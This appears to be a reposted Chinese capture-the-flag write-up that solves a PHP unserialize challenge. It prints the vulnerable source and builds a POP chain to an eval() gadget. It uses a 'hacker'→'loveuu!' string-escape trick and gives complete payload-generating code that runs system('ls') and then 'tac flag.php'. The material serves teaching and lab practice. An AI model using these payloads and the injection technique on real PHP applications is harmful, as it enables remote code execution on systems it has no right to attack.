您的位置:首页 > 文旅 > 美景 > 日本一卡二三四卡_网络加速器海外_在线制作网页网站_西安seo

日本一卡二三四卡_网络加速器海外_在线制作网页网站_西安seo

2024/12/23 12:26:24 来源:https://blog.csdn.net/weixin_73904941/article/details/143440458  浏览:    关键词:日本一卡二三四卡_网络加速器海外_在线制作网页网站_西安seo
日本一卡二三四卡_网络加速器海外_在线制作网页网站_西安seo

知识点:

php反序列化字符串逃逸
php反序列化魔术方法
构造pop链
变量引用

其实这一题还是比较简单的,只要看懂代码,并且理解为什么要用反序列化字符串逃逸,下面会详细解释

题目源码:

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}
}
class output{public $a;function __toString(){$this->a->rce();}
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}
}
class youwant{public $cmd;function rce(){eval($this->cmd);}
}
$pdata=$_POST["data"];
if(isset($pdata))
{$data=serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);
}else{highlight_file(__FILE__);
}
?>

第一眼看到有很多类以及后面的反序列化函数,并且代码中间看到了eval()命令执行函数,那么基本上就需要构造pop链,先不看最后面的代码,先构造pop链

构造pop链

从后往前推,最终要执行eval($this->cmd); 需要执行rce()函数  output类中可以执行rce()函数,把output类中属性a赋值为youwant类对象
toString()方法会在一个对象被当作字符串时被调用,发现nothing类中有die方法,die是触发tostring魔术方法的方式,当die函数中的参数是字符串时,执行die函数就会输出字符串,让output类对象作为参数即可触发toString()方法

但是题目的版本是PHP/7.2.34        
__wakeup()绕过漏洞存在的版本需要满足  PHP5 < 5.6.25     PHP7 < 7.0.10  
这里无法绕过nothing类中的wakeup方法,参数a会被赋值为空字符串,无法赋值触发toString()

不过代码  $this->b=$this->t;  将t赋给了b,虽然a不能改,但是可以让a、b同用一个地址,那么b发生变化,a也随之变化,把t赋值为output类对象,这样 a b 就都是output类对象 

__destruct()方法在反序列化执行结束自动调用,到此完成构造

pop链就是 youwant::rce() -> output::toString() -> nothing::destruct()

<?php
class output{public $a;   // 2 赋值为nothing类对象}
class nothing{public $a;  //  3 变量引用b,与b共用一个地址public $b; public $t;   // 3 赋值为youwant类对象
}
class youwant{public $cmd;  // 1 命令执行
}$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
echo serialize($c);
//结果是 O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:3:"system("ls");";}}}

为什么要利用php反序列化字符串逃逸?

刚才没看最后的代码部分,现在来看,先序列化一个UUCTF类对象,然后对序列化的字符串进行替换,把hacker替换为loveuu!  然后执行反序列化操作

关键在于只有上面构造的序列化字符串经过反序列化之后才会执行eval()函数,这里反序列化的是UUCTF类对象序列化后的字符串,明显是不会执行eval函数的

注意到UUCTF类中

if($this->key==="UUCTF")$this->ob=unserialize(base64_decode($this->basedata));

这里也可以执行反序列化操作,那么思路就是让属性basedata 赋值为上面构造的序列化字符串的base64加密形式,在代码最后一行的unserialize($data_replace)反序列化函数执行之前会自动触发wakeup方法,如果key==="UUCTF"即可执行,达到目的

<?php
class UUCTF{public $name,$key,$basedata,$ob;
}
$a = new UUCTF();
$a->key="UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";
echo serialize($a);//结果 O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面序列化得到的结果是我们想要的,但是怎么才能构造出来呢?

代码中 $data=serialize(new UUCTF($pdata));  我们能控制的变量只有UUCTF类中的name属性,

其他属性都无法赋值,假如给name赋值为abc 那么就类似于

O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

N表示这是一个NULL值,即没有赋值

如果要执行eval()函数,key必须是UUCTF  basedata必须是构造好的可以执行eval()函数的序列化字符串,ob是结果,和basedata绑定, 只有name属性是随意的,所以在name处进行字符串逃逸

字符串逃逸:

代码中会把hacker替换为loveuu!   6个字符变为7个字符,长度增加,但是序列化字符串格式前面的个数是没变的,替换就会长度不匹配导致反序列化操作失败,但是这个替换操作会有很大的危害

O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面这个序列化字符串是我们想要的格式,下面这个是题目代码中执行的基本格式

O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

我们能够控制的只有里面的name的值

";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面字符串长度是262 如果在这个字符串前面加上262个hacker,长度变262+6*262=7*262=1834 

替换之后变成

O:5:"UUCTF":4:{s:4:"name";s:1834:"262个loveuu!";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

1834对应了262个loveuu! 后面一直到6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;} 此时一切都是正常的,反序列化函数看到;} 就当作结束符号,后面的都会忽略掉,此时最后面的key basedata都会无效,有效的就是前面构造的key和basedata,完成字符串逃逸,反序列化之后即可正常执行eval()函数

下面是完整的代码

<?php
class UUCTF{public $name,$key,$basedata,$ob;
}
class output{public $a;  
}
class nothing{public $a;  public $b;public $t;
}
class youwant{public $cmd; }$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));$post='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";}';
for($i=0;$i<strlen($post);$i++)
{$hacker=$hacker.'hacker';}
echo $hacker.$post;

得到结果之后post传参给data   可以看到flag.php 

然后把ls 改为 tac flag.php 即可得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com